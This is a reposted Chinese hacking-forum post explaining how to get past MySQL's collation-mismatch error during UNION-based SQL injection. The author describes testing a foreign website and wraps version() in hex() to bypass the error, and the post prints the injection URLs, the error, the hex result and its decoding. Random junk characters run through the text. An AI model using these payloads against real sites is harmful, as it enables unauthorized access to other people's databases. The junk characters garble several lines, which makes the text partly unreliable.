找回密码
 立即注册
查看: 2954|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
8 G& P, e4 ~& F文章性质:原创; ~- p2 F/ R1 k
发布日期:2005-10-18
+ c. d* U$ R1 ^" T( p测试个国外的站时:
2 i! P7 d1 z3 [- U( Nurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*! @8 {) m- r# M/ c: R6 Z5 `
返回错误:* B) Z0 O7 I9 e# l7 X# C
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 J" o8 y) v2 j& LMySQL Error No. 1266 _+ H6 ~0 w* b/ _8 z
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
1 f$ d3 v  k1 E解决办法:转为其他编码如hex。
2 n8 H# i+ X8 r: Hurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*% e' F: ^' G# h3 U7 m+ Y* i- R2 O
成功得到hex(version())的值为:
4 I2 O0 U7 F5 i) ~) o/ i342E312E332D62657461( D, F9 I8 o. F6 v1 I+ G) h" e
回Mysql查询下得到:8 G1 T6 y2 Z1 f* d( e, |4 k
mysql> select 0x342E312E332D62657461;4 t) f% E5 E7 e& b
+------------------------+- |4 D# w1 Y. w5 ?9 H; O1 g8 j& R
| 0x342E312E332D62657461 |  X, f, l: J' M# @% E2 |: t
+------------------------+
& U% B( G8 b- O4 G2 o& G! A+ Z| 4.1.3-beta |9 I4 W1 c0 E& J4 D( v* F8 F6 e
+------------------------+% M3 r1 T5 ?7 F+ ~$ w) g6 f& z9 l
1 row in set (0.00 sec)5 m; e8 w4 ^. b* R) V$ }
& q4 h1 H! B: W% W9 d& f0 w# K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表